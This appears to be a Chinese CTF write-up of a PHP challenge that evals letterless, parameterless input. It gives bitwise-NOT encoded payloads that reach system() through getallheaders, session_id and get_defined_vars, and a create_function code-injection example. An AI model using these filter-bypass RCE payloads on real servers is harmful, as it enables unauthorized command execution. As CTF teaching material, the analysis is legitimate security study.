[老文新发一]无字母数字的无参数RCE

整理一下之前写过的文章

题目

<?php
show_source(__FILE__);
    $code = $_GET['code'];
    print_r(getallheaders());
    echo preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code);
    if(strlen($code) > 80 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/is',$code)){
        echo ' Hello';
    }else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){
        echo '11111';        
        @eval($code);
    }
?>

php执行无参函数的方式

首先要知道,无参函数执行都有哪些方式?

以phpinfo()为例,直接执行是一种

还可以(phpinfo)();或者(‘phpinfo’)();

还有没有其他方式,[phpinfo][0]();这样行不行?

可以,只看前半部分,我们传入了一个数组,数组只有一个元素,值是字符串phpinfo,而[0]就是为了取到这个字符串,相当于一种拼接的思路。

与前两个不同,最后一个属于动态调用

那什么是动态调用呢?即把函数名赋值给一个变量,在执行函数时用变量名替代函数名

绕过

接下来只要对可见字符取反码即可。

对于这个题来说,有一个可行的方式是system(end(getallheaders()));

但是这里getallheaders()里的最后一项并不是你编辑数据包的最后一项,比如我本机读到的是host

payload: [~%8C%86%8C%8B%9A%92][!%ff]([~%9A%91%9B][!%ff]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][!%ff]())); host = calc

拓展

明文不编码的无参rce中还有其他的许多种思路可用,本题还适用吗?

动态参数列表

目前获取可变参数基本就是用这个方式…

举例

<?php
function bypass1($a){
    var_dump(...$a);
    create_function(...$a);
}

bypass1(['','}system("dir");/*']);
?>

执行结果是

D:\phpstudy_pro\WWW\pcb3.php:12:
string(0) ""
D:\phpstudy_pro\WWW\pcb3.php:12:
string(17) "}system("dir");//"

xxxxxxxxxxxxxxxxxx

有array_reverse(),array_pop()等函数,因此在payload长度无限制的情况下可以调用getallheaders()的任意一个值。

例如我想使用数组的正数第二项作为攻击payload,如何调用?先使用array_reverse()进行取反,再array_pop()删除最后一项,此时原来的正数第二项就变成了倒数第一项,然后直接使用end()就可以取到

既然如此,我们能不能借助消息头部信息利用下面这个payload?

create_function(…unserialize(current(getallheaders())));

明文是可以成功执行函数的,编码之后

[~%9c%8d%9a%9e%8b%9a%a0%99%8a%91%9c%8b%96%90%91][!%FF]([~%d1%d1%d1%8a%91%8c%9a%8d%96%9e%93%96%85%9a][!%FF]([~%9c%8a%8d%8d%9a%91%8b][!%FF]([~%98%9a%8b%9e%93%93%97%9a%9e%9b%9a%8d%8c][!%FF]())));

并不可以,因为…unserialize不是一个可用的函数

将这两者分开呢?

create_function(…(unserialize(current(getallheaders()))));

仍然不行,因为…也不是一个函数

尝试在php手册中寻找与…相关的函数,有三个结果

func_num_args(), func_get_arg(), func_get_args()

但是并不能成功,因为第一个返回值是int类型,第二个返回的是列表的某一项,第三个返回的是一个参数数组,create_function需要的是两个独立的字符串

目前还没有发现其他方式,暂且认为对…不进行编码可以执行

最后再解释一下为什么要进行一步反序列化,普通的传参方式即使传递一个数组也会被认为是一个以括号开头的字符串,反序列化是为了避免这样的情况。

利用session

注意php7.3之后session启动之后就不能再更改session id了

payload只适用于7.3之前,无论编码前后都可以执行

system(session_id(session_start()));

[~%8c%86%8c%8b%9a%92][!%FF]([~%8c%9a%8c%8c%96%90%91%a0%96%9b][!%FF]([~%8c%9a%8c%8c%96%90%91%a0%8c%8b%9e%8d%8b][!%FF]())); cookie: PHPSESSID=calc

get_defined_vars()

也是经典思路,获得全局变量,然后取其中的第一个键值对的值

编码前全部版本通杀,编码后只能在php7.0使用,因为7.1开始get_defined_vars()不能动态调用了,同时长度超了80。

b=calc&a=system(current(array_values(current(get_defined_vars()))));

原理也很简单,

get_defined_vars()函数的返回值是一个数组,其中数组的第一项也是一个数组,内容是get方式提交的参数,也就是两个键值对,第一个键值对的键是b,值是calc,第二个键值对的键是a,值是我们传入的一串无参函数。我们的目的是把calc传入system中进行执行,来看一下需要怎样的数组操作。

首先通过current取到当前第一个数组,也就是两个键值对,然后通过array_values取键值对中的值部分,也就是形成了一个新的数组,包含两个字符串,第一个字符串是calc,第二个字符串是一系列函数,此时再用current取数组第一项即可得到calc

编码

b=calc&a=[~%8c%86%8c%8b%9a%92][!%FF]([~%9c%8a%8d%8d%9a%91%8b][!%FF]([~%9e%8d%8d%9e%86%a0%89%9e%93%8a%9a%8c][!%FF]([~%9c%8a%8d%8d%9a%91%8b][!%FF]([~%98%9a%8b%a0%9b%9a%99%96%91%9a%9b%a0%89%9e%8d%8c][!%FF]()))));

自然不能成功,除非在该函数位置不进行动态调用

a=[~%8c%86%8c%8b%9a%92][!%FF]([~%9c%8a%8d%8d%9a%91%8b][!%FF]([~%9e%8d%8d%9e%86%a0%89%9e%93%8a%9a%8c][!%FF]([~%9c%8a%8d%8d%9a%91%8b][!%FF](get_defined_vars()))));
a=[~%8c%86%8c%8b%9a%92][!%FF]([~%9c%8a%8d%8d%9a%91%8b][!%FF]([~%9e%8d%8d%9e%86%a0%89%9e%93%8a%9a%8c][!%FF]([~%9c%8a%8d%8d%9a%91%8b][!%FF](('get_defined_vars')()))));
上一篇
下一篇